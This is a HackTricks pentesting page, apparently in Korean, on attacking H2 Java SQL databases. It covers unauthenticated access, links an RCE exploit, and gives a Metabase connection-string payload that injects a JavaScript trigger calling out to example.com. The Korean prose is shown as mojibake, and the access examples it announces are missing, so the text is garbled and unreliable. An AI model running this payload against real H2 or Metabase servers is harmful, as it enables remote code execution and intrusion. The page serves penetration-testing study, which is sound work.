H2 - Java SQL ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ณต์‹ ํŽ˜์ด์ง€: https://www.h2database.com/html/main.html

์ ‘๊ทผ

์œ ํšจํ•œ ์ž๊ฒฉ ์ฆ๋ช… ์—†์ด ์ƒˆ๋กœ์šด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•ด ์กด์žฌํ•˜์ง€ ์•Š๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ด๋ฆ„์„ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์ธ์ฆ๋˜์ง€ ์•Š์Œ):

๋˜๋Š” ์˜ˆ๋ฅผ ๋“ค์–ด mysql์ด ์‹คํ–‰ ์ค‘์ด๊ณ  ํ•ด๋‹น ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ์ด๋ฆ„๊ณผ ์ž๊ฒฉ ์ฆ๋ช…์„ ์•Œ๊ณ  ์žˆ๋‹ค๋ฉด, ๊ทธ๋ƒฅ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

HTB์˜ Hawk ๋ฐ•์Šค์—์„œ์˜ ํŠธ๋ฆญ.

RCE

H2 ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์™€ ํ†ต์‹ ํ•  ์ˆ˜ ์žˆ๋Š” ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋‹ค๋ฉด, RCE๋ฅผ ์–ป๊ธฐ ์œ„ํ•œ ์ด ์ต์Šคํ”Œ๋กœ์ž‡์„ ํ™•์ธํ•˜์„ธ์š”: https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed

H2 SQL ์ธ์ ์…˜์„ ํ†ตํ•œ RCE

์ด ๊ฒŒ์‹œ๋ฌผ์—์„œ๋Š” SQL ์ธ์ ์…˜์„ ์•…์šฉํ•˜์—ฌ H2 ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ํ†ตํ•œ RCE๋ฅผ ์–ป๊ธฐ ์œ„ํ•œ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์„ค๋ช…๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

[...]
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": false,
"ssl": true
},
[...]

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ